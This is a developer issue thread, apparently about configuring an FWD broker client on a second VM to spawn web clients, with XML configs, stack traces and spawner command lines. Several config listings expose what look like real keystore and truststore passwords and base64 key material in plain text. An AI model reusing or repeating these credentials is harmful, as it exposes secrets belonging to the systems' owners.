              <node-attribute name="value" value="TRpIE9rFKC2Q3NjloXx4bAB8CY4OnyMITPmbf+qck4mbqD5mmJrwjxn7IDqFmNydgTqMCMP9uafLxhVIEO/1xuu6EChgyQCiO33ornE46PIYaxI6Jvhz9zxl/dbcea7Rs1++RbMiDwulC1h3GImEKWGR5ZM+MY3AdnkzjalpA/9Ntc6suk++4AFs5hoD4NMcyI7dO+oy2xxQym+TsavdjU07Xbwc0F4qksTXPpM4HPhv/orkL2wPaS2wWAK3YqLTH4r2JCEAMnPitFUeWuKGC1EMuGxKsaBykh7WCXWWauISeMbxrT7fK7Z3Cfz+8X2M4XChumy15Izyc2FC20SRGz++agsM7Iilit1aiMekxz0Vo3qVapUNFvr1fpbHDc11hUzIFbPqK6jaRdf35LSAGKt15ppdQkFUorRByjpFFJdAlJu+tFDSz29nrKgy7MHI3Szoin/L/moKgGMMVPty00DLJb0K6ELdwoR7Y65O/2sEsr2xBHEtqn/Y6IwvNKgDD0tjyJSzIuiwfjYPqsuy2g2hZ9zAoUlUoSF3281EpXg4+O+T9zZBE4ksFTMSvn2siPEIP7TkKPUjYr8fmvv0GyZJEvRYIhQg0Kt45A7WHiUokhkDFJnRub83js+gwJSZzyPBj/3WcThQKpTA0r5AqfPRy7G//+6oG5b4WdAbdBnvK2NGZPVPF7YwNkIFsrvnEkWp3IV6bZ750o5M5DoAoAGu50HK3jLP502R6eJp6jCBAB+Yuz1F9g5udsJr72iqAgsXf0naL/yfOtBsf+V/jPGfTtD4VuT4Duii3FjOuVYdQrd4+Nkq4hWCSIyiEAQcq+XuSBFbP02CpsDg8u7aQcFn7bAY7gG+9W94NQrkrk0rucOviEOLeAYTiZ/Ncgp4A6ujL1P2YZTz/Gq+Bt3WB0ZTZV1v4UCIelv+N+qKpLRXZoWfr8OXoYp7f59Lc1lGDvbYGFIQjmValURPZmFq3uDCDloYDj5AuDc8JpPy+8Ivgxu7OH/XmTlYxVeSKIyWXvAyQk3e6M4ikUO2Y1EHuTaiTjbw/QNuJSRv6ilhJ/gyMrXDEoncv+Wa5vAYoSumZn61wwjCw6JRI7hQ01EEanHOUBjeVLQBkv4V2a65Jhg8jZHHvmNBFhcwLgSENYAOu8TL/N8AXkDpCrdow7swWrWD2XWS/8LePRcCEURnG41WeRkQAxPq3UwL8uQpo23+ndy4K/ZM40kFBX0bIOA8BOmYzxpVAt4zre6FEtDKe5lQ7I/e5q/lO2qbXfGu5A1o51yDupp6b29dpbTDKaRGKGLhwrmO5IQeIlJ22g3s/sKEuolYij/yh0ystLDHLwJRA+9InZuzItw7XbL0B5jW6/wBMJyuq0hzx7hDemIKLOghM8uO+ogs5rJ1DT+he2GUCwPJ3MDy/B5pttqyyfMCcpy+T4fMaOZjSdvH7T1WjIZR4nhF6Ai/62cgXFb7uvu1fYtnZu320H0OzrE1MVTBMyCct0fhqh8jWBUgkFwZ9Az6Q0he9g5GdfVGoc6vMq8p+CmSwROO+fwZyjb60nuUf4NJnscsm39RJdVGLGmkE0qofmfamXvcxYsscgkNkeLMzOW4qfx1UvqscgIqeHKkszPbgSUBA0dGZ731fYC3P+E="/>
            </node>
          </node>
          <node class="container" name="broker1">
            <node class="bytes" name="key-entry">
              <node-attribute name="value" value="Vw5tGVLCLJ9RJfeqMIJSvLzKHXKWklHKrM7Kv5qe4Yqv0i2TvANkmrwSobRsj43TAYausxFc3YTQpf5EYeVaU5A7/pZa7yPmQtQW/HFa4qWl51AUTUj7Dv1b3qbFVDFHkESl5AzJnlx2+woLbuKvTtQscfvJCR7eoivLwwR4RiInr8aSbuSgV0oNfnIdOPPa7iNPIgSAujQRtPN2IPD6Cj+t+unWD8ibd7NKiEAHJeGot90xAkIc8XELg87vyOd+txl5YwhFKDlkLFi4JBRsl/4EywqDns6/EhUU4QSIhI0t9Rf4YOLSTWIn5yjTqaZjwTnNv8lsGZVqg6Dj/4BM+lh2igcU1mmheCZ1kRHpPmjQDi7enZhfnmFDEv0xpYpAhL94W3UUXF4v8zKOY65vik2BOnYlZ7GKuJJYlMDVCl1fIoBqoNzXn0kY4v/ub2ssH5YkTG4Fn7c7JyGXiFO2jlChmyvpSHJTfRlFAdx/RvMrvBZgYHS3JW/S2JJc3/j7Udm8OR1thndrkYsWWqeIxkj8PdwxwOdmsaxQNlCTmxeOyYnq9QxXp2pb6VMePs/s4+nVT3MvOrEE2mCMn7PL1OktBxcfFnhLmKTI5rXuzPotEtiai65Or6AB+BWDcfnAHbeFH7HyNNr1lIHQ140ROvoxCNSQIJjk3XV3Y8TBdxMUBZesuRElmAEKIicFGB4FN2n8za5s2/D6IDu6NdOJ29iJ0H+PqhQVgC4EaoGkp7aRc14kRnVpFs85FZOAyel1bE1uPAwswC08oYV5QLgvuA/N+sTDe6+oBmOOkGk1X75c84BUWZ/RBp02spW6MvoVUe4D1W9YJO3d0DQ7PlO1bwEqQIlG/kNbrcSO/PYvdcK2S4SKBzU25nQ9F7ueJyQjtm1DDtD8Ik6EhfDXY65WbkEhhXibRRyGtjUZeL9V9damKK/kliLon66mrQTYHLEjFNIsbt6BU1Fitn7WzbJaoFf4umu50Fl5I1y8klOzD6Lmb9SZ6Xj9MR/tZmzIa7N1/HB77DxAFUMb9XDgP+f9IlgHazvXo5atWc2u1JY7HqGksz3h3KHzdVhoCnMyVrm+9TqJLmTapkER7hrROo6OVpmpBfcFyC7gA8G+UdAKaSeMyqgonI9mBAOp88VjhH2XuwgYOONUSZUADo3mMMRWjMr2UZ5fiYO0FlYPtr4aP9ifk9j9voa3U9KJ/rVqXAL+Ig+7t0lO+exnfKvJrGSe7LrzZOJ/saUH9+F8PNoJjrPZigdKxmHt7UkARRSdB2uHy6iVYwfBXuv6OcgaKHw0qRYjVKU3TaSG3rcsX29Zs7gxNWHDv73ygOv+varvQUkYIcfRFzeXoBm8QNW2RkHJ5DIMdtDZoG4E+7gzgraYVv7ewm11WVp153anoAF9wOQH71zrQORm5SH9+N/pZqGPnzLBVy0+WFXuZ80e0RJMAVgwQ8pxKK2nrZHf/yW5ro5xAEwocbXoqaIw620TzgttNy30EFM0d0xf2aRNOtL2HctqQnPXTBzyz+1Inna/8DNIHSO3qNkkyO63O8t4AuIHAiFAEPdZw/zAHyQt6m3i7DEoocfw6cSOPvqp3kvaz7PJU2h02fB+yCfMXAqzkk74v88icFynT13a+6zxXGQntEE="/>
            </node>
            <node class="bytes" name="key-password">
              <node-attribute name="value" value="NXhZVyQ5PjlAYnZnaUQ5RmgpbldpMVhXZ01ERTkzOVE="/>
            </node>
          </node>

The client directory settings client.xml should have the correspondent entries

<node type="client">
  <client>
    <mode broker="true" />
  </client>

  <net>
    <server host="192.168.1.37" />
    <server port="3333" />
    <server secure_port="3334" />
    <connection secure="true" />
  </net>

  <security>
    <certificate validate="true" />
    <truststore filename="srv-certs.store" />
    <truststore alias="standard" />
    <keystore filename="broker1-private-key.store" />
    <keystore processalias="broker1" />
    <authentication type="program"/>
  </security>

  <access>
    <password truststore="d61pi96tP8MS!T^87Efcjyl1QtPs_EgvIKZ!" />
    <password keystore="XL57uunOAod4(7xniwAg6e`1a0Su~)g8DRmX" />
    <password keyentry="g8j4=mxVd*063QskHNuRfPJ6swd_2&lt;JEgQX6"/>
    <password masterkeyentry="5xYW$9>9@bvgiD9Fh)nWi1XWgMDE939Q" />
  </access>

  <remote>
    <retry count="10" />
    <retry seconds="10" />
    <spawner file="/home/sbi/opt/spawner/spawn" />
    <agent host="192.168.1.37"/>
    <agent user="sbi"/>
    <agent dedicatedMode="true"/>
    <java    args="-Xmx1G -Djava.awt.headless=true -XX:MaxPermSize=64m -Djava.library.path=/home/sbi/projects/3287a/build/lib/ -Dfile.encoding=UTF-8" />
    <java    classpath="/home/sbi/projects/3287a/build/lib/p2j.jar" />
  </remote>
</node>

The dedicated mode means that

    * @param    dedicatedMode
    *           True value indicates that this registering broker client will spawn clients
    *           accessed only from its local host, otherwise spawned clients can be accessed
    *           from network.

Roger, 9709a has the changes that should be reviewed if they are needed for your configuration.

Sergey, I picked this task up again, but this time I am using 2 VMs instead of Docker. It helps to visualize the configuration better.

I want fwddev1 to be the server containing the directory.xml. I want fwddev2 to be the client where users are configured. (Hotel GUI doesn't really require OS logon, but I still want to simulate the setup).

Is fwddev2 where the deploy/broker directory would be, or would that be on fwddev1 where the deploy/server directory is?

Do I need to configure proxy in the directory for this? If so, which would be the proxy?

Would the /opt/spawner directory need to exist on fwddev2 (the client)? No java process is running on fwddev2 to listen, so somehow it would need to be spawned for the web client.

And what is the URL for my browser? Is it fwddev1 or fwddev2?

The broker is how we remotely spawn clients. That should tell you where it should live.

Do I need to configure proxy in the directory for this? If so, which would be the proxy?

Reverse proxy has nothing to do with splitting the client onto other systems. It is something completely separate.

Would the /opt/spawner directory need to exist on fwddev2 (the client)?

Of course, otherwise it can't spawn.

No java process is running on fwddev2 to listen, so somehow it would need to be spawned for the web client.

Right. You need to start the broker there.

Greg answered first. The proxy configuration is needed only if you have a proxy server in front of FWD server.

I don't think I am making the connection to the server from the broker because we try 10 times, and bail. It's is disconcerting because I was meticulous with creation of the certificate, and setting up the directory.

I will have to examine the server.xml setup, which is currently:

<?xml version="1.0"?>
<!-- Server side bootstrap configuration
-->
<node type="server">
   <net> 
      <router threads="2"/> 
   </net>

   <security>
      <server id="standard"/>
   </security>

   <directory>
      <backend type="xml"/>
      <xml filename="directory.xml"/>
   </directory>

</node>

I believe the security section needs a little more to accept a secure client connection.

The port used in the broker's client.xml for secure connection was incorrect. I have made the correction. Now when I start the broker client, I am receiving this exception:

25/10/08 10:53:25.648-0400 |   FINER | com.goldencode.p2j.net.RemoteObject | ThreadName:main | exported com.goldencode.p2j.main.BrokerClientServices:public abstract com.goldencode.p2j.main.BrokerSpawnResult com.goldencode.p2j.main.BrokerClientServices.spawn(com.goldencode.p2j.main.BrokerSpawnParameters)
25/10/08 10:53:25.650-0400 |   FINER | com.goldencode.p2j.net.RemoteObject | ThreadName:main | exported com.goldencode.p2j.main.BrokerClientServices:public abstract java.lang.String com.goldencode.p2j.main.BrokerClientServices.ping(java.lang.String)
25/10/08 10:53:25.650-0400 |   FINER | com.goldencode.p2j.net.RemoteObject | ThreadName:main | exported com.goldencode.p2j.main.BrokerClientServices:public abstract java.lang.String com.goldencode.p2j.main.BrokerClientServices.getDedicatedHost()
25/10/08 10:53:25.650-0400 |   FINER | com.goldencode.p2j.net.RemoteObject | ThreadName:main | exported com.goldencode.p2j.main.BrokerClientServices:public abstract double com.goldencode.p2j.main.BrokerClientServices.getSystemLoading()
25/10/08 10:53:25.659-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[230])
25/10/08 10:53:25.666-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[37]
25/10/08 10:53:25.667-0400 |  SEVERE | com.goldencode.p2j.main.BrokerCore [BrokerCore.connect()] | ThreadName:main | Connection Exception.
java.lang.RuntimeException: Unresolvable remote export public abstract java.lang.String com.goldencode.p2j.main.BrokerServerServices.registerBroker(java.lang.String,java.lang.String,boolean).
        at com.goldencode.p2j.net.RemoteObject$RemoteAccess.obtainRoutingKey(RemoteObject.java:1575)
        at com.goldencode.p2j.net.RemoteObject$RemoteAccess.invokeCore(RemoteObject.java:1458)
        at com.goldencode.p2j.net.InvocationStub.invoke(InvocationStub.java:144)
        at jdk.proxy2/jdk.proxy2.$Proxy2.registerBroker(Unknown Source)
        at com.goldencode.p2j.main.BrokerCore.connect(BrokerCore.java:535)
        at com.goldencode.p2j.main.BrokerCore.start(BrokerCore.java:214)
        at com.goldencode.p2j.main.ClientDriver.start(ClientDriver.java:283)
        at com.goldencode.p2j.main.CommonDriver.process(CommonDriver.java:522)
        at com.goldencode.p2j.main.ClientDriver.process(ClientDriver.java:173)
        at com.goldencode.p2j.main.ClientDriver.main(ClientDriver.java:347)
Caused by: java.lang.RuntimeException: No export or no access to com.goldencode.p2j.main.BrokerServerServices:public abstract java.lang.String com.goldencode.p2j.main.BrokerServerServices.registerBroker(java.lang.String,java.lang.String,boolean)
        at com.goldencode.p2j.net.HighLevelObject.getKey(HighLevelObject.java:178)
        at com.goldencode.p2j.net.RemoteObject$RemoteAccess.obtainRoutingKey(RemoteObject.java:1547)
        ... 9 more

I am using trunk_16185, not 9709a. Should I be using that branch? I don't have <agent dedicatedMode="true"/> (or false) in my client xml.

It seems that No export or no access to means that the remote access rights is needed because this network service is sure registered by StandardServer

      ifaces = new Class[] { BrokerServerServices.class };
      RemoteObject.registerStaticNetworkServer(ifaces, BrokerManager.class);

It seems that the following access rights should be added to your directory

          <node class="container" name="002350">
            <node class="resource" name="resource-instance">
              <node-attribute name="reftype" value="TRUE"/>
              <node-attribute name="reference" value="com.goldencode.p2j.main.BrokerServerServices"/>
            </node>
            <node class="netRights" name="rights">
              <node-attribute name="permissions" value="'0101'B"/>
            </node>
            <node class="strings" name="subjects">
              <node-attribute name="values" value="all_others"/>
            </node>
          </node>

In respect to dedicatedMode please test with this option and without the former. dedicatedMode changes ip address of the spawned web client to localhost.

Sergey Ivanovskiy wrote:

In respect to dedicatedMode please test with this option and without the former. dedicatedMode changes ip address of the spawned web client to localhost.

OK... I have added to the 'net' section of the directory that mentioned rights. Also, see broker_client.xmlsee broker_client.xml

<node type="client">
  <client>
    <mode broker="true" />
  </client>

  <net>
    <connection secure="true" />
    <server host="fwddev1" />
    <server secure_port="3333" />
    <server port="3433" />
  </net>

  <security>
    <certificate validate="true" />
    <truststore filename="srv-certs.store" />
    <truststore alias="standard" />
    <keystore filename="broker1-private-key.store" />
    <keystore processalias="broker1" />
    <authentication type="program"/>
  </security>

  <access>
    <password truststore="y40xu^XuxQw9Q%4hB6^kCE58YK=7wRWFywBd" />
    <password keystore="(G36RuApnoGKp7zPt(Q4ld3kq^Hz2SwS^61O" />
    <password keyentry="dO@8bLG1vgIP&lt;OyaCZbk*9FR12b55Gts8&gt;Wx"/>
    <password masterkeyentry="7sN5iwk$E4W1cJ&gt;0M~ID&gt;E2hTNt1ZI0x" />
  </access>

  <remote>
    <retry count="10" />
    <retry seconds="10" />
    <spawner file="/opt/spawner/spawn" />
    <agent host="fwddev1"/>
    <agent user="fwd"/>
    <agent dedicatedMode="true"/>
    <java args="-Xmx1G -Djava.awt.headless=true -XX:MaxPermSize=64m -Djava.library.path=/home/fwd/projects/hotel_gui/p2j/build/lib/ -Dfile.encoding=UTF-8" />
    <java classpath="/home/fwd/projects/hotel_gui/p2j/build/lib/p2j.jar" />
  </remote>
</node>

Where is the "ip address of the spawned web client set to localhost? Is that "agent host="?

It is WebClientSpawner code

         boolean dedicatedMode = config.getBoolean("client", "web", "dedicatedMode", false);

         // dedicated mode section placed just before the driver created
         if (dedicatedMode)
         {
            host = "localhost";
            config.setConfigItem(ConfigItem.HOST, host);
         }

I ran the above configuration, and now we get some output from the broker client:

fwd@fwddev2:~/projects/hotel_gui/deploy/broker$ ../client/client.sh -bc $(pwd)/broker_client.xml -h fwddev1
INFO: Spawn process started with pid 29609.
25/10/08 11:46:50.085-0400 |   FINER | com.goldencode.p2j.net.SessionManager [SessionManager.createQueue()] | ThreadName:main | host = fwddev1; port = 3333; secure = true;
25/10/08 11:46:50.536-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: Creating NetSocketWrapper: /192.168.1.162:37051 -> fwddev1/192.168.1.241:3333
25/10/08 11:46:50.540-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(2)
25/10/08 11:46:50.541-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
25/10/08 11:46:50.544-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
25/10/08 11:46:50.545-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
25/10/08 11:46:50.546-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(36)
25/10/08 11:46:50.547-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeBytes(byte[36])
25/10/08 11:46:50.547-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
25/10/08 11:46:50.551-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
25/10/08 11:46:50.552-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
25/10/08 11:46:50.552-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): ''
25/10/08 11:46:50.553-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readBoolean(): false
25/10/08 11:46:50.554-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): '3aKK9v35F51R7Iw7'
25/10/08 11:46:50.955-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[46])
25/10/08 11:46:50.959-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[46]
25/10/08 11:46:50.986-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[189])
25/10/08 11:46:50.994-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[93]
25/10/08 11:46:50.997-0400 |   FINER | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | public abstract java.lang.String[] com.goldencode.p2j.main.RemoteSpawner.getCommand(java.lang.String)
25/10/08 11:46:50.997-0400 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | parameters (08dc00f5-b875-484b-b363-4d4157fe817b)
25/10/08 11:46:50.998-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[83])
25/10/08 11:46:51.005-0400 |  FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[470]
25/10/08 11:46:51.006-0400 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | result = [fwd, "", /home/fwd/projects/hotel_gui/deploy/client, java, ${remote.jvm.args}, ${remote.broker.classpath}, com.goldencode.p2j.main.ClientDriver, net:server:host=${remote.host}, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=${remote.secure.port}, sso:subject:id=bogus, sso:storage:id=storage-hotel, server:spawner:uuid=08dc00f5-b875-484b-b363-4d4157fe817b]
25/10/08 11:46:51.007-0400 |  FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | elapsed millis = 8
25/10/08 11:46:51.008-0400 |   FINER | com.goldencode.p2j.net.Queue [Queue.disable()] | ThreadName:main | Queue is stopping.
java.lang.RuntimeException: Only a stack trace, not a real exception!
        at com.goldencode.p2j.net.Queue.disable(Queue.java:582)
        at com.goldencode.p2j.net.SessionManager.endSession(SessionManager.java:1403)
        at com.goldencode.p2j.net.BaseSession.terminate(BaseSession.java:243)
        at com.goldencode.p2j.main.NativeSecureConnection.command(NativeSecureConnection.java:177)
INFO: The argument number 0 is: fwd.
INFO: The argument number 1 is: "".
INFO: The argument number 2 is: /home/fwd/projects/hotel_gui/deploy/client.
INFO: The argument number 3 is: java.
INFO: The argument number 4 is: -Xmx1G.
INFO: The argument number 5 is: -Djava.awt.headless=true.
INFO: The argument number 6 is: -XX:MaxPermSize=64m.
INFO: The argument number 7 is: -Djava.library.path=/home/fwd/projects/hotel_gui/p2j/build/lib/.
INFO: The argument number 8 is: -Dfile.encoding=UTF-8.
INFO: The argument number 9 is: -classpath.
INFO: The argument number 10 is: /home/fwd/projects/hotel_gui/p2j/build/lib/p2j.jar.
INFO: The argument number 11 is: com.goldencode.p2j.main.ClientDriver.
INFO: The argument number 12 is: net:server:host=fwddev1.
INFO: The argument number 13 is: net:socket:nio=false.
INFO: The argument number 14 is: net:ssl:trackSeqNo=false.
INFO: The argument number 15 is: net:connection:secure=true.
INFO: The argument number 16 is: net:server:secure_port=3333.
INFO: The argument number 17 is: sso:subject:id=bogus.
INFO: The argument number 18 is: sso:storage:id=storage-hotel.
INFO: The argument number 19 is: server:spawner:uuid=08dc00f5-b875-484b-b363-4d4157fe817b.
INFO: Check user account for: fwd.
INFO: The password is null.
INFO: Starting with argv[MIN_ARGS_COMMAND]: (java), argv[MIN_ARGS_COMMAND - 1]: (/home/fwd/projects/hotel_gui/deploy/client).
INFO: Spawn result code: (0).
INFO: Forked. Setting working directory to /home/fwd/projects/hotel_gui/deploy/client.
Unrecognized VM option 'MaxPermSize=64m'
Error: Could not create the Java Virtual Machine.
Error: A fatal exception has occurred. Program will exit.

So we are now reaching... but still something needs configuration. I removed that value from the broker_client.xml "java args" and tried to restart the broker by Control+C and rerunning, but get:

25/10/08 11:51:48.466-0400 |  SEVERE | com.goldencode.p2j.main.BrokerCore [BrokerCore.connect()] | ThreadName:main | Connection Exception.
java.lang.RuntimeException: The broker agent has been already registered.
        at com.goldencode.p2j.main.BrokerManager.addUserHostWithCheck(BrokerManager.java:638)
        at com.goldencode.p2j.main.BrokerManager.registerBroker(BrokerManager.java:239)
        at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
        at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
        at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
        at java.base/java.lang.reflect.Method.invoke(Method.java:569)
        at com.goldencode.p2j.util.MethodInvoker.invoke(MethodInvoker.java:126)
        at com.goldencode.p2j.net.Dispatcher.processInbound(Dispatcher.java:808)
        at com.goldencode.p2j.net.Conversation.block(Conversation.java:418)
        at com.goldencode.p2j.net.Conversation.run(Conversation.java:237)
        at java.base/java.lang.Thread.run(Thread.java:840)

One little note... I have fwddev1 and fwddev2 directory structures exactly alike. I may change that so it's obvious where directories lie.

Sergey Ivanovskiy wrote:

It is WebClientSpawner code
[...]
So the web client url has localhost in its path. I guess that the server login page should be localhost too, otherwise the browser does not load this page into main-iframe.

In my setup I cannot use localhost, as I am accessing from my laptop https://fwddev1:7443/gui and then I should spawn from fwddev2 my web client.

It looks like I'm getting redirected to https://null:35805/index.html?token=1d47cbd16f9b20b5e1a3f64b9d5636a7 so somewhere there is a config item missing. Is this where fwddev2 should be? I wouldn't think so, since we don't have jetty there, just a web client.

Roger Borrello wrote:

It looks like I'm getting redirected to https://null:35805/index.html?token=1d47cbd16f9b20b5e1a3f64b9d5636a7 so somewhere there is a config item missing. Is this where fwddev2 should be? I wouldn't think so, since we don't have jetty there, just a web client.

When I run without a broker, I get redirected to https://fwddev1:7449/index.html?token=d408a5881bd5e63ea52326814a05b2f0

The command line is:

/opt/spawner/spawn 0 3333 localhost standard 7fe0f7db-1588-48bc-98dd-c503f13beb7b net:socket:nio=false net:ssl:trackSeqNo=false fwd "" /home/fwd/projects/hotel_gui/deploy/broker java -Xmx512m -Djava.awt.headless=true -Djava.library.path=/home/fwd/projects/p2j/build/lib/ -classpath /home/fwd/projects/p2j/build/lib/p2j.jar com.goldencode.p2j.main.ClientDriver net:server:host=localhost net:socket:nio=false net:ssl:trackSeqNo=false net:connection:secure=true net:server:secure_port=3333 sso:subject:id=bogus sso:storage:id=storage-hotel server:spawner:uuid=7fe0f7db-1588-48bc-98dd-c503f13beb7b

The command line using the broker setup is:

/opt/spawner/spawn 0 3333 fwddev1 standard 8d78bc2b-1c2f-41db-b39b-ebbb199b93a2 net:socket:nio=false net:ssl:trackSeqNo=false fwd "" /home/fwd/projects/hotel_gui/deploy/broker java -Xmx512m -Djava.awt.headless=true -Djava.library.path=/home/fwd/projects/p2j/build/lib/ -classpath /home/fwd/projects/p2j/build/lib/p2j.jar com.goldencode.p2j.main.ClientDriver net:server:host=fwddev1 net:socket:nio=false net:ssl:trackSeqNo=false net:connection:secure=true net:server:secure_port=3333 sso:subject:id=bogus sso:storage:id=storage-hotel server:spawner:uuid=8d78bc2b-1c2f-41db-b39b-ebbb199b93a2 client:web:port=7449 client:web:host=fwddev2 client:web:dedicatedMode=false

In the analysis, the main difference is the addition of the client:web:port=7450 client:web:host=fwddev2 client:web:dedicatedMode=false parameters when using the broker (and the used of fwddev1 instead of localhost).

Roger Borrello wrote:

I have on fwddev2 the ./deploy/broker directory, and the client.xml contains:
[...]
There is a /opt/spawner directory with all the files for spawning in it.

From the fwddev2 ./deploy/client directory, I run:
[...]

I assume that allows the broker to be ready for spawn requests.

The fwddev1 directory.xml has the broker sections as noted above. But the spawning still happens on that server, not on fwddev2. Both server and client logs are on fwddev2.

Why you did not set <agent host="fwddev1"/> to fwddev2 as your broker is on fwddev2 and the standard server is on fwddev1?

I wouldn't think so, since we don't have jetty there, just a web client.

Of course we have Jetty there, Jetty puts the "web" in "web client". Every client JVM process for a web client has its own instance of Jetty.

I have set the agent to fwddev2 with same results. Let me recap...

On the client (fwddev2) I have ./deploy/broker directory. I am using broker_client.xml {{collapse(show it)

<node type="client">
  <client>
    <mode broker="true" />
    <logging path="/home/fwd/projects/hotel_gui/deploy/logs/client_%uos_%pid_%uf_%g.log" rotationLimit="50000000" rotationCount="4" />
  </client>

  <net>
    <connection secure="true" />
    <server host="fwddev1" />
    <server secure_port="3333" />
    <server port="3433" />
  </net>

  <security>
    <certificate validate="true" />
    <truststore filename="srv-certs.store" />
    <truststore alias="standard" />
    <keystore filename="broker1-private-key.store" />
    <keystore processalias="broker1" />
    <authentication type="program"/>
  </security>

  <access>
    <password truststore="y40xu^XuxQw9Q%4hB6^kCE58YK=7wRWFywBd" />
    <password keystore="(G36RuApnoGKp7zPt(Q4ld3kq^Hz2SwS^61O" />
    <password keyentry="dO@8bLG1vgIP&lt;OyaCZbk*9FR12b55Gts8&gt;Wx"/>
    <password masterkeyentry="7sN5iwk$E4W1cJ&gt;0M~ID&gt;E2hTNt1ZI0x" />
  </access>

  <remote>
    <retry count="10" />
    <retry seconds="10" />
    <agent host="fwddev2"/>
    <agent user="fwd"/>
    <agent dedicatedMode="false"/>
    <spawner file="/opt/spawner/spawn" />
    <java args="-Xmx512m -Djava.awt.headless=true -Djava.library.path=/home/fwd/projects/p2j/build/lib/" />
    <java classpath="/home/fwd/projects/p2j/build/lib/p2j.jar" />
  </remote>
</node>

I have tried that agent as both, neither worked. I am starting the broker with:

../client/client.sh -bc broker_client.xml -h fwddev1

In the directory, I have the webclient as fwddev2, but have also tried fwddev1.

agent means the broker client, so the agent host should be the host that runs broker client. You can debug and see what is a root cause. If you would like to delegate this task to me , then please provide clear instructions of your setup, so I can debug the code.
Please try to change host name to real ip addresses for remote agent that is fwddev2.

I do not understand this

../client/client.sh -bc broker_client.xml -h fwddev1

Sergey Ivanovskiy wrote:

I do not understand this
[...]
if all data are provided by broker_client.xml.

Me neither... If I run ../client/client.sh -bc broker_client.xml I get a client crash log:

25/10/13 13:55:05.484-0400 |    INFO | com.goldencode.p2j.main.BrokerCore [BrokerCore.start()] | ThreadName:main | Connecting (9) ...
25/10/13 13:55:05.816-0400 |  SEVERE | com.goldencode.p2j.main.BrokerCore [BrokerCore.connect()] | ThreadName:main | Connection Exception.
java.net.ConnectException: Connection refused
        at java.base/sun.nio.ch.Net.connect0(Native Method)
        at java.base/sun.nio.ch.Net.connect(Net.java:579)
        at java.base/sun.nio.ch.Net.connect(Net.java:568)
        at java.base/sun.nio.ch.NioSocketImpl.connect(NioSocketImpl.java:593)
        at java.base/java.net.SocksSocketImpl.connect(SocksSocketImpl.java:327)
        at java.base/java.net.Socket.connect(Socket.java:633)
        at java.base/java.net.Socket.connect(Socket.java:583)
        at com.goldencode.p2j.net.SessionManager.connect(SessionManager.java:1268)
        at com.goldencode.p2j.net.SessionManager.createQueue(SessionManager.java:1176)
        at com.goldencode.p2j.net.LeafSessionManager.connectDirect(LeafSessionManager.java:256)
        at com.goldencode.p2j.main.BrokerCore.connect(BrokerCore.java:525)
        at com.goldencode.p2j.main.BrokerCore.start(BrokerCore.java:214)
        at com.goldencode.p2j.main.ClientDriver.start(ClientDriver.java:283)
        at com.goldencode.p2j.main.CommonDriver.process(CommonDriver.java:522)
        at com.goldencode.p2j.main.ClientDriver.process(ClientDriver.java:173)
        at com.goldencode.p2j.main.ClientDriver.main(ClientDriver.java:347)

If I add the -h fwddev1 option, everything works great, and we get a client connection. It's as if the bootstrap value is ignored, and we just try to connect to localhost.

It seems that it just means that broker_client.xml was not found by the code. Correct?

Sergey Ivanovskiy wrote:

It seems that it just means that broker_client.xml was not found by the code. Correct?

Must be happening... because at BootstrapConfig.getConfigItem, after the cmap is declared, it is:

{CONNECTION={SECURE=true}, SERVER={HOST=localhost, SECURE_PORT=3333, PORT=3433, INSECURE_PORT=3433}, QUEUE={CONVERSATION=true, START_THREAD=false}, SOCKET={NIO=false}}

When BootstrapConfig constructor is called, Element root = loadXml(sharedFile, sharedPassphrase); returns [node: null]

Roger Borrello wrote:

When BootstrapConfig constructor is called, Element root = loadXml(sharedFile, sharedPassphrase); returns [node: null]

I tried a fully qualified boostrap file (/home/fwd/projects/hotel_gui/deploy/broker/broker_client.xml) and got the same results.

The strange thing is the other values are valid, except NET:SERVER:HOST:

sharedFile = /home/fwd/projects/hotel_gui/deploy/broker/broker_client.xml; privateFile = none; isServer = false; configuraton values =
   {
      CLIENT:MODE:BROKER = true
      CLIENT:MODE:BATCH = true
      CLIENT:LOGGING:PATH = /home/fwd/projects/hotel_gui/deploy/logs/client_%uos_%pid_%uf_%g.log
      CLIENT:LOGGING:ROTATIONCOUNT = 4
